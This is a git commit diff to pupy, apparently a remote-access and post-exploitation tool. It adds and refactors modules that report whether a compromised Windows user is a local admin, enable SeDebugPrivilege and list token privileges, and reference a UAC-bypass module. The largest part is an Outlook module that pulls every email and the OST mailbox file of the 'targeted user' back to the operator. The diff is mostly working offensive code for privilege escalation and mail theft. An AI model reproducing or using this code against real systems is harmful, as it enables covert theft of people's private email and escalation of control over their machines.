Merge branch 'master' of https://github.com/quentinhardy/pupy into quentinhardy-master

This commit is contained in:
n1nj4sec 2016-10-07 18:44:18 +02:00
commit 8df5c9ccad
6 changed files with 291 additions and 153 deletions

View File

@ -12,7 +12,7 @@ ROOT=os.path.abspath(os.path.join(os.path.dirname(__file__),"..",".."))
@config(compat="windows", category="privesc")
class BypassUAC(PupyModule):
""" try to bypass UAC with Invoke-BypassUAC.ps1, from Empire """
"""try to bypass UAC with sysprep or eventvwr method"""
dependencies=["psutil", "pupwinutils.processes"]
METHODS = ["eventvwr", "sysprep"]
def init_argparse(self):

View File

@ -6,6 +6,7 @@ __class_name__="GetInfo"
@config(cat="gather")
class GetInfo(PupyModule):
""" get some informations about one or multiple clients """
dependencies=["psutil", "pupwinutils.security"]
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog='get_info', description=self.__doc__)
#self.arg_parser.add_argument('arguments', nargs='+', metavar='<command>')
@ -21,6 +22,14 @@ class GetInfo(PupyModule):
if self.client.is_windows():
for k in windKeys:
infos+="{:<10}: {}\n".format(k,self.client.desc[k])
currentUserIsLocalAdmin = self.client.conn.modules["pupwinutils.security"].can_get_admin_access()
desc = "local_adm"
if currentUserIsLocalAdmin == True:
infos+="{:<10}: {}\n".format(desc,"Yes")
elif currentUserIsLocalAdmin == False:
infos+="{:<10}: {}\n".format(desc,"No")
else:
infos+="{:<10}: {}\n".format(desc,"?")
elif self.client.is_linux():
for k in linuxKeys:
infos+="{:<10}: {}\n".format(k,self.client.desc[k])

View File

@ -1,16 +1,26 @@
# -*- coding: UTF8 -*-
#Author: @n1nj4sec
#Contributor(s): @bobsecq
from pupylib.PupyModule import *
__class_name__="GetPrivsModule"
@config(compat=["windows"], cat="manage")
class GetPrivsModule(PupyModule):
""" try to get SeDebugPrivilege for the current process """
""" Manage current process privileges """
dependencies=["psutil", "pupwinutils.security"]
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog="getprivs", description=self.__doc__)
self.arg_parser.add_argument('--get-debug', dest='getdebug', action='store_true', help="Try to get SeDebugPrivilege for the current process")
def run(self, args):
self.client.conn.modules["pupwinutils.security"].EnablePrivilege("SeDebugPrivilege")
self.success("SeDebugPrivilege enabled !")
if args.getdebug == True:
self.client.conn.modules["pupwinutils.security"].EnablePrivilege("SeDebugPrivilege")
self.success("SeDebugPrivilege enabled !")
else:
privs = self.client.conn.modules["pupwinutils.security"].get_currents_privs()
self.success("Process privileges:")
for aPriv in privs:
print " - "+str(aPriv)

View File

@ -4,17 +4,20 @@
import os
from pupylib.PupyModule import *
from rpyc.utils.classic import upload
from modules.lib.windows.outlook import outlook
from rpyc.utils.classic import download
from pupylib.utils.term import colorize
__class_name__="Outlook"
ROOT=os.path.abspath(os.path.join(os.path.dirname(__file__),"..",".."))
@config(compat="windows", category="gather")
class Outlook(PupyModule):
'''
'''
""" interact with Outlook session of the targeted user """
dependencies=["win32api","win32com","pythoncom","winerror"]
OL_SAVE_AS_TYPE={'olTXT': 0,'olRTF':1,'olTemplate': 2,'olMSG': 3,'olDoc':4,'olHTML':5,'olVCard': 6,'olVCal':7,'olICal': 8}
OL_DEFAULT_FOLDERS = {'olFolderDeletedItems':3,'olFolderDrafts':16,'olFolderInbox':6,'olFolderJunk':23,'olFolderSentMail':5}
def init_argparse(self):
'''
'''
@ -23,57 +26,77 @@ class Outlook(PupyModule):
self.arg_parser.add_argument('-l', dest='foldersAndSubFolders', action='store_true', help="Get Outlook folders and subfolders")
self.arg_parser.add_argument('-n', dest='numberOfEmails', action='store_true', help="Get number of emails stored in the outlook folder choisen (see options below)")
self.arg_parser.add_argument('-d', dest='downloadAllEmails', action='store_true', help="Download all emails stored in the outlook folder choisen with MAPI (see options below)")
self.arg_parser.add_argument('-t', dest='doawnloadOST', action='store_true', help="Download Outlook OST file (Offline or cached Outlook items)")
self.arg_parser.add_argument('-t', dest='downloadOST', action='store_true', help="Download Outlook OST file (Offline or cached Outlook items)")
self.arg_parser.add_argument('-output-folder', dest='localOutputFolder', default='output/', help="Folder which will contain emails locally (default: %(default)s)")
self.arg_parser.add_argument('-folder-default', choices=list(outlook.OL_DEFAULT_FOLDERS), default="olFolderInbox", dest='outlookFolder', help="Choose Outlook Folder using a default folder (default: %(default)s)")
self.arg_parser.add_argument('-folder-default', choices=list(self.OL_DEFAULT_FOLDERS), default="olFolderInbox", dest='outlookFolder', help="Choose Outlook Folder using a default folder (default: %(default)s)")
self.arg_parser.add_argument('-folder-id', dest='folderId', default=None, help="Choose Outlook Folder using a folder ID (default: %(default)s)")
self.arg_parser.add_argument('-otype', choices=list(outlook.OL_SAVE_AS_TYPE), default="olMSG", dest='msgSaveType', help="Email saved as this type (default: %(default)s)")
self.arg_parser.add_argument('-otype', choices=list(self.OL_SAVE_AS_TYPE), default="olMSG", dest='msgSaveType', help="Email saved as this type (default: %(default)s)")
def run(self, args):
'''
'''
try:
self.client.conn.modules['win32com.client'].Dispatch("Outlook.Application").GetNamespace("MAPI")
self.success("Outlook application seems to be installed on the target")
except Exception,e:
logging.info("Outlook Application is probably not installed on this target. Impossible to continue...\n{0}".format(repr(e)))
self.client.load_package("outlook")
localFolder=args.localOutputFolder
self.localFolder = os.path.join(localFolder, "{0}-{1}-{2}".format(self.client.desc['hostname'].encode('utf-8'), self.client.desc['user'].encode('utf-8'), self.client.desc['macaddr'].encode('utf-8').replace(':','')))
if not os.path.exists(self.localFolder):
logging.debug("Creating the {0} folder locally".format(self.localFolder))
os.makedirs(self.localFolder)
if args.folderId != None:
self.warning('Notice the folder Id option will be used and the default folder option will be disabled')
outlook = self.client.conn.modules['outlook'].outlook(folderIndex=self.OL_DEFAULT_FOLDERS[args.outlookFolder], folderId=args.folderId, msgSaveType=args.msgSaveType)
if args.downloadOST == True:
self.success("Trying to download Outlook OST file of the targeted current user")
paths = outlook.getPathToOSTFiles()
if len(paths)>0:
localPath = os.path.join(self.localFolder, ''.join(l for l in paths[0][0].encode('ascii','ignore') if l.isalnum()))
self.success("Downloading the file {0} to {1}...".format(paths[0][1], localPath))
download(self.client.conn, paths[0][1], localPath)
self.success("OST file downloaded from {0} to {1}".format(paths[0][1], localPath))
else:
self.error("OST file not found or an error occured")
if outlook.outlookIsInstalled() == True:
self.success("Outlook application seems to be installed on the target, trying to connect to MAPI...")
if outlook.connect() == True:
self.success("Connected to outlook application trough MAPI")
else:
self.error("Impossible to connect to outlook application trough MAPI. Abording!")
return
else:
self.error("Outlook application doesn't seem to be installed on the target. Nothing to do. Cancelling!")
return
if args.information == True:
outl = outlook(self, ROOT, localFolder=args.localOutputFolder, folderIndex=outlook.OL_DEFAULT_FOLDERS[args.outlookFolder])
info = outl.getInformation()
info = outlook.getInformation()
for key, value in info.iteritems():
self.success("{0}: {1}".format(key, value))
outl.close()
if args.folderId != None:
self.warning('Notice the folder Id option will be used and the default folder option will be disabled')
if args.foldersAndSubFolders == True:
self.success("Outlook folders and subfolders:")
outl = outlook(self, ROOT, localFolder=args.localOutputFolder, folderIndex=outlook.OL_DEFAULT_FOLDERS[args.outlookFolder])
outl.printFoldersAndSubFolders()
outl.close()
foldersAndSubFolders = outlook.getAllFolders()
for i,folder in enumerate(foldersAndSubFolders):
print "{0}: {1}".format(i, folder.encode('utf-8'))
for j,subFolder in enumerate(foldersAndSubFolders[folder]):
print " {0}.{1}: {2} (id: {3})".format(i, j, subFolder.encode('utf-8'), foldersAndSubFolders[folder][subFolder].encode('utf-8'))
if args.numberOfEmails == True:
self.success("Trying to get number of emails in the {0} folder".format(args.outlookFolder))
outl = outlook(self, ROOT, localFolder=args.localOutputFolder, folderIndex=outlook.OL_DEFAULT_FOLDERS[args.outlookFolder], folderId=args.folderId)
self.success("Number of emails in the {0} folder: {1}".format(args.outlookFolder, outl.getNbOfEmails()))
outl.close()
nb = outlook.getNbOfEmails()
self.success("Number of emails in the {0} folder: {1}".format(args.outlookFolder, nb))
if args.downloadAllEmails == True:
self.success("Trying to download all emails stored in the {0} folder".format(args.outlookFolder))
outl = outlook(self, ROOT, localFolder=args.localOutputFolder, folderIndex=outlook.OL_DEFAULT_FOLDERS[args.outlookFolder], folderId=args.folderId, msgSaveType=args.msgSaveType)
nb = outl.getNbOfEmails()
nb = outlook.getNbOfEmails()
if nb == 0:
self.error("This box is empty. You should choose another outlook folder")
else:
self.success("{0} emails found in {0}, Starting download...".format(args.outlookFolder))
self.warning("If nothing happens, a Outlook security prompt has probably been triggered on the target.")
self.warning("Notice if an antivirus is installed on the target, you should be abled to download emails without security prompt (see https://support.office.com/en-us/article/I-get-warnings-about-a-program-accessing-e-mail-address-information-or-sending-e-mail-on-my-behalf-df007135-c632-4ae4-8577-dd4ba26750a2)")
outl.downloadAllEmails()
outl.close()
if args.doawnloadOST == True:
outl = outlook(self, ROOT, localFolder=args.localOutputFolder, folderIndex=outlook.OL_DEFAULT_FOLDERS[args.outlookFolder], autoConnectToMAPI=False)
self.success("Trying to download Outlook OST file of the targeted current user")
path = outl.downloadOSTFile()
if path == None:
self.error("OST file not found or an error occured")
else:
self.success("OST file downloaded from {0} to {1}".format(path, outl.localFolder))
logging.debug("Downloading all emails")
for i, anEmail in enumerate(outlook.getEmails()):
aPathToMailFile, filename = outlook.getAMailFile(anEmail)
sys.stdout.write('\r{2}Downloading email {0}/{1}...'.format(i+1 ,outlook.getNbOfEmails(), colorize("[+] ","green")))
sys.stdout.flush()
localPathToFile = os.path.join(self.localFolder, filename)
logging.debug("Downloading the file {0} to {1}".format(aPathToMailFile, localPathToFile))
download(self.client.conn, aPathToMailFile, localPathToFile)
logging.debug("Deleting {0}".format(aPathToMailFile))
outlook.deleteTempMailFile(aPathToMailFile)
print "\n"
outlook.close()

View File

@ -3,9 +3,10 @@
#Contributor(s):
import os, logging, sys, time
from rpyc.utils.classic import download
from pupylib.utils.term import colorize
from collections import OrderedDict
import win32com
import win32com.client
import glob
class outlook():
'''
@ -16,13 +17,11 @@ class outlook():
OL_ACCOUNT_TYPES = {4:'olEas',0:'olExchange',3:'olHttp',1:'olImap',5:'olOtherAccount',2:'olPop3'}
OL_EXCHANGE_CONNECTION_MODE = {100:'olOffline',500:'olOnline',200:'olDisconnected',300:'olConnectedHeaders',400:'olConnected',0:'olNoExchange'}
def __init__(self, module, rootPupyPath, localFolder="output/", folderIndex=None, folderId=None, sleepTime=3, msgSaveType='olMSG', autoConnectToMAPI=True):
def __init__(self, folderIndex=None, folderId=None, sleepTime=3, msgSaveType='olMSG'):
'''
'''
self.module = module
self.outlook = None
self.mapi = None
self.localFolder = os.path.join(localFolder, "{0}-{1}-{2}".format(self.module.client.desc['hostname'].encode('utf-8'), self.module.client.desc['user'].encode('utf-8'), self.module.client.desc['macaddr'].encode('utf-8').replace(':','')))
self.foldersAndSubFolders = None
self.folderId = folderId
self.folderIndex = folderIndex
@ -30,24 +29,34 @@ class outlook():
self.inbox = None
self.constants = None
self.sleepTime = sleepTime
self.remoteTempFolder = self.module.client.conn.modules['os.path'].expandvars("%TEMP%")
if autoConnectToMAPI == True : self.__connect__()
if not os.path.exists(self.localFolder):
logging.debug("Creating the {0} folder locally".format(self.localFolder))
os.makedirs(self.localFolder)
self.remoteTempFolder = os.path.expandvars("%TEMP%")
def __connect__(self):
def outlookIsInstalled(self):
'''
returns True if Outlook is installed
otherwise returns False
'''
try:
win32com.client.Dispatch("Outlook.Application").GetNamespace("MAPI")
return True
except Exception,e:
return False
def connect(self):
'''
Returns True if no error
Otherise returns False
'''
self.outlook = self.module.client.conn.modules['win32com.client'].Dispatch("Outlook.Application")
#self.outlook = self.module.client.conn.modules['win32com.client.gencache'].EnsureDispatch("Outlook.Application")
self.mapi = self.outlook.GetNamespace("MAPI")
if self.folderId == None : self.setDefaultFolder(folderIndex=self.folderIndex)
else : self.setFolderFromId(folderId=self.folderId)
return True
try:
self.outlook = win32com.client.Dispatch("Outlook.Application")
#self.outlook = win32com.client.gencache.EnsureDispatch("Outlook.Application")
self.mapi = self.outlook.GetNamespace("MAPI")
if self.folderId == None : self.setDefaultFolder(folderIndex=self.folderIndex)
else : self.setFolderFromId(folderId=self.folderId)
return True
except Exception,e:
return False
def close(self):
'''
@ -119,27 +128,6 @@ class outlook():
logging.debug("Moving outlook default folder to {0}".format(folderId))
self.inbox = self.mapi.GetFolderFromID(folderId)
return True
"""
def getAnEmail(self, nb):
'''
nb: number of the email
nb>=1
'''
return self.inbox.Items[nb]
"""
"""
def getEmailsWithSubject(self, subject):
'''
Returns a list which contains all emails (mailItem objects) when subject is in the email subject
'''
emails = []
for anEmail in self.inbox.Items:
if subject in anEmail.Subject:
emails.append(anEmail)
return emails
"""
def getEmails(self):
'''
@ -151,8 +139,9 @@ class outlook():
emails.append(anEmail)
return emails
def downloadAnEmail(self, mailItem):
def getAMailFile(self, mailItem):
'''
return pathToAMailFileOnTarget, nameOftheMailFile
'''
ctime, subjectCleaned, receivedTime, path, filename = str(time.time()).replace('.',''), "Unknown", "Unknown", "", ""
try:
@ -161,28 +150,21 @@ class outlook():
except Exception,e:
logging.warning("Impossible to encode email subject or receivedTime:{0}".format(repr(e)))
filename = "{0}_{1}_{2}.{3}".format(receivedTime, ctime, subjectCleaned[:100], 'msg')
path = self.module.client.conn.modules['os.path'].join(self.remoteTempFolder,filename)
path = os.path.join(self.remoteTempFolder,filename)
logging.debug('Saving temporarily the email on the remote path {0}'.format(path))
#mailItem.SaveAs(path, self.OL_SAVE_AS_TYPE['olMSG'])
mailItem.SaveAs(path, outlook.OL_SAVE_AS_TYPE[self.msgSaveType])
try:
self.module.client.conn.modules['os'].rename(path, path) #test if the file is not opened by another process
os.rename(path, path) #test if the file is not opened by another process
except OSError as e:
time.sleep(self.sleepTime)
logging.debug("Downloading the file {0} to {1}".format(path, self.localFolder))
download(self.module.client.conn, path, os.path.join(self.localFolder, filename))
logging.debug("Deleting {0}".format(path))
self.module.client.conn.modules.os.remove(path)
def downloadAllEmails(self):
return path, filename
def deleteTempMailFile(self,path):
'''
'''
logging.debug("Downloading all emails")
for i, anEmail in enumerate(self.getEmails()):
self.downloadAnEmail(anEmail)
sys.stdout.write('\r{2}Downloading email {0}/{1}...'.format(i+1 ,self.getNbOfEmails(), colorize("[+] ","green")))
sys.stdout.flush()
print "\n"
os.remove(path)
"""
def getAllSubjects(self):
@ -203,7 +185,7 @@ class outlook():
logging.debug("Getting number of emails... {0} emails".format(nb))
return nb
def __getAllFolders__(self):
def getAllFolders(self):
'''
'''
folders = {}
@ -216,15 +198,6 @@ class outlook():
folders[folder.Name][subfolder.Name]=subfolder.EntryID
return folders
def printFoldersAndSubFolders(self):
'''
'''
foldersAndSubFolders = self.__getAllFolders__()
for i,folder in enumerate(foldersAndSubFolders):
print "{0}: {1}".format(i, folder.encode('utf-8'))
for j,subFolder in enumerate(foldersAndSubFolders[folder]):
print " {0}.{1}: {2} (id: {3})".format(i, j, subFolder.encode('utf-8'), foldersAndSubFolders[folder][subFolder].encode('utf-8'))
def getPathToOSTFiles(self):
'''
@ -234,58 +207,15 @@ class outlook():
DEFAULT_LOCATIONS_OST = ["<drive>:\Users\<username>\AppData\Local\Microsoft\Outlook",
"<drive>:\Documents and Settings\<username>\Local Settings\Application Data\Microsoft\Outlook"
]
systemDrive = self.module.client.conn.modules['os'].getenv("SystemDrive")
login = self.module.client.conn.modules['os'].getenv("username")
systemDrive = os.getenv("SystemDrive")
login = os.getenv("username")
for aLocationOST in DEFAULT_LOCATIONS_OST :
completeLocationOST = aLocationOST.replace("<drive>",systemDrive[:-1]).replace("<username>",login)
regex = self.module.client.conn.modules['os.path'].join(completeLocationOST,"*.ost")
regex = os.path.join(completeLocationOST,"*.ost")
logging.debug('Searching OST file in {0}'.format(regex))
files = self.module.client.conn.modules['glob'].glob(regex)
files = glob.glob(regex)
for aFile in files:
ostFileFound = self.module.client.conn.modules['os.path'].join(completeLocationOST,aFile)
ostFileFound = os.path.join(completeLocationOST,aFile)
logging.info('OST file found in {0}'.format(ostFileFound))
paths.append(ostFileFound)
paths.append([os.path.basename(aFile), ostFileFound])
return paths
def downloadOSTFile(self):
'''
Return file downloaded or None
'''
paths = self.getPathToOSTFiles()
if len(paths)>0:
filename = self.module.client.conn.modules['os.path'].basename(paths[0])
logging.debug("Downloading the file {0} to {1}".format(paths[0], self.localFolder))
download(self.module.client.conn, paths[0], os.path.join(self.localFolder, filename))
return paths[0]
else:
return None
"""
def __getRecipientsAddresses__(self, RecipientsObject):
'''
'''
recipients = []
for aRecipient in RecipientsObject:
recipients.append(aRecipient.Address)
return recipients
def __getSenderAddress__(self, mailItem):
'''
'''
if mailItem.SenderEmailType=='EX':
try:
return mailItem.Sender.GetExchangeUser().PrimarySmtpAddress
except Exception,e:
logging.warning("Impossible to get sender email address: {0}".format(e))
return mailItem.SenderEmailAddress
def printMailItem(self, mailItem):
'''
'''
print "ReceivedTime: {0}".format(mailItem.ReceivedTime)
#print "Sender: {0}".format(self.__getSenderAddress__(mailItem))
#print "Recipients: {0}".format(self.__getRecipientsAddresses__(mailItem.Recipients))
print "Subject: {0}".format(repr(mailItem.Subject))
print "Body: {0}".format(repr(mailItem.Body))
"""

View File

@ -1,8 +1,12 @@
#original code from https://github.com/joren485/PyWinPrivEsc/blob/master/RunAsSystem.py
# -*- coding: UTF8 -*-
#Author: ??? and original code from https://github.com/joren485/PyWinPrivEsc/blob/master/RunAsSystem.py
#Contributor(s): @bobsecq
import sys, os
from ctypes import *
import subprocess
import psutil
import ctypes
LPVOID = c_void_p
PVOID = LPVOID
@ -36,11 +40,22 @@ TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY |
PROCESS_QUERY_INFORMATION = 0x0400
class TOKEN_INFORMATION_CLASS:
#see http://msdn.microsoft.com/en-us/library/aa379626%28VS.85%29.aspx
TokenUser = 1
TokenGroups = 2
TokenPrivileges = 3
class LUID(Structure):
_fields_ = [
("LowPart", DWORD),
("HighPart", LONG),
]
def __eq__(self, other):
return (self.HighPart == other.HighPart and self.LowPart == other.LowPart)
def __ne__(self, other):
return not (self==other)
class SID_AND_ATTRIBUTES(Structure):
_fields_ = [
@ -51,18 +66,63 @@ class SID_AND_ATTRIBUTES(Structure):
class TOKEN_USER(Structure):
_fields_ = [
("User", SID_AND_ATTRIBUTES),]
SE_PRIVILEGE_ENABLED_BY_DEFAULT = (0x00000001)
SE_PRIVILEGE_ENABLED = (0x00000002)
SE_PRIVILEGE_REMOVED = (0x00000004)
SE_PRIVILEGE_USED_FOR_ACCESS = (0x80000000)
LookupPrivilegeName = ctypes.windll.advapi32.LookupPrivilegeNameW
LookupPrivilegeName.argtypes = (
wintypes.LPWSTR, # lpSystemName
ctypes.POINTER(LUID), # lpLuid
wintypes.LPWSTR, # lpName
ctypes.POINTER(wintypes.DWORD), #cchName
)
LookupPrivilegeName.restype = wintypes.BOOL
class LUID_AND_ATTRIBUTES(Structure):
_fields_ = [
("Luid", LUID),
("Attributes", DWORD),
]
def is_enabled(self):
return bool(self.Attributes & SE_PRIVILEGE_ENABLED)
def enable(self):
self.Attributes |= SE_PRIVILEGE_ENABLED
def get_name(self):
size = wintypes.DWORD(10240)
buf = ctypes.create_unicode_buffer(size.value)
res = LookupPrivilegeName(None, self.Luid, buf, size)
if res == 0: raise RuntimeError
return buf[:size.value]
def __str__(self):
res = self.get_name()
if self.is_enabled(): res += ' (enabled)'
return res
class TOKEN_PRIVILEGES(Structure):
_fields_ = [
("PrivilegeCount", DWORD),
("Privileges", LUID_AND_ATTRIBUTES),
]
class TOKEN_PRIVS(Structure):
_fields_ = [
("PrivilegeCount", DWORD),
("Privileges", LUID_AND_ATTRIBUTES*0),
]
def get_array(self):
array_type = LUID_AND_ATTRIBUTES*self.PrivilegeCount
privileges = ctypes.cast(self.Privileges, ctypes.POINTER(array_type)).contents
return privileges
def __iter__(self):
return iter(self.get_array())
class PROCESS_INFORMATION(Structure):
_fields_ = [
@ -190,6 +250,22 @@ def getProcessToken(pid):
windll.advapi32.OpenProcessToken(hProcess, tokenprivs, byref(hToken))
windll.kernel32.CloseHandle(hProcess)
return hToken
def get_process_token():
"""
Get the current process token
"""
GetCurrentProcess = ctypes.windll.kernel32.GetCurrentProcess
GetCurrentProcess.restype = wintypes.HANDLE
OpenProcessToken = ctypes.windll.advapi32.OpenProcessToken
OpenProcessToken.argtypes = (wintypes.HANDLE, wintypes.DWORD, ctypes.POINTER(wintypes.HANDLE))
OpenProcessToken.restype = wintypes.BOOL
token = wintypes.HANDLE()
TOKEN_ALL_ACCESS = 0xf01ff
res = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, token)
if not res > 0:
raise RuntimeError("Couldn't get process token")
return token
def gethTokenFromPid(pid):
try:
@ -366,3 +442,93 @@ def rev2self():
pass
global_ref=None
print "\t[+] Running as: " + GetUserName()
def get_currents_privs():
'''
Get all privileges associated with the current process.
'''
GetTokenInformation = ctypes.windll.advapi32.GetTokenInformation
GetTokenInformation.argtypes = [
wintypes.HANDLE, # TokenHandleTOKEN_PRIV
ctypes.c_uint, # TOKEN_INFORMATION_CLASS value
ctypes.c_void_p, # TokenInformation
wintypes.DWORD, # TokenInformationLength
ctypes.POINTER(wintypes.DWORD), # ReturnLength
]
GetTokenInformation.restype = wintypes.BOOL
return_length = wintypes.DWORD()
params = [
get_process_token(),
TOKEN_INFORMATION_CLASS.TokenPrivileges,
None,
0,
return_length,
]
res = GetTokenInformation(*params)
buffer = ctypes.create_string_buffer(return_length.value)
params[2] = buffer
params[3] = return_length.value
res = GetTokenInformation(*params)
assert res > 0, "Error in second GetTokenInformation (%d)" % res
privileges = ctypes.cast(buffer, ctypes.POINTER(TOKEN_PRIVS)).contents
return privileges
def can_get_admin_access():
"""
Check if the user may be able to get administrator access.
Returns True if the user is in the administrator's group.
Otherwise returns False
"""
SECURITY_MAX_SID_SIZE = 68
WinBuiltinAdministratorsSid = 26
ERROR_NO_SUCH_LOGON_SESSION = 1312
ERROR_PRIVILEGE_NOT_HELD = 1314
TokenLinkedToken = 19
# On XP or lower this is equivalent to has_root()
if sys.getwindowsversion()[0] < 6:
return bool(ctypes.windll.shell32.IsUserAnAdmin())
# On Vista or higher, there's the whole UAC token-splitting thing.
# Many thanks for Junfeng Zhang for the workflow: htttp://blogs.msdn.com/junfeng/archive/2007/01/26/how-to-tell-if-the-current-user-is-in-administrators-group-programmatically.aspx
proc = ctypes.windll.kernel32.GetCurrentProcess()
# Get the token for the current process.
try:
token = ctypes.wintypes.HANDLE()
ctypes.windll.advapi32.OpenProcessToken(proc,TOKEN_QUERY,byref(token))
try:
# Get the administrators SID.
sid = ctypes.create_string_buffer(SECURITY_MAX_SID_SIZE)
sz = ctypes.wintypes.DWORD(SECURITY_MAX_SID_SIZE)
target_sid = WinBuiltinAdministratorsSid
ctypes.windll.advapi32.CreateWellKnownSid(target_sid,None,byref(sid),byref(sz))
# Check whether the token has that SID directly.
has_admin = ctypes.wintypes.BOOL()
ctypes.windll.advapi32.CheckTokenMembership(None,byref(sid),byref(has_admin))
if has_admin.value:
return True
# Get the linked token. Failure may mean no linked token.
lToken = ctypes.wintypes.HANDLE()
try:
cls = TokenLinkedToken
ctypes.windll.advapi32.GetTokenInformation(token,cls,byref(lToken),sizeof(lToken),byref(sz))
except WindowsError, e:
if e.winerror == ERROR_NO_SUCH_LOGON_SESSION:
return False
elif e.winerror == ERROR_PRIVILEGE_NOT_HELD:
return False
else:
raise
# Check if the linked token has the admin SID
try:
ctypes.windll.advapi32.CheckTokenMembership(lToken,byref(sid),byref(has_admin))
return bool(has_admin.value)
finally:
ctypes.windll.kernel32.CloseHandle(lToken)
finally:
ctypes.windll.kernel32.CloseHandle(token)
except Exception,e:
return None
finally:
try:
ctypes.windll.kernel32.CloseHandle(proc)
except Exception,e:
pass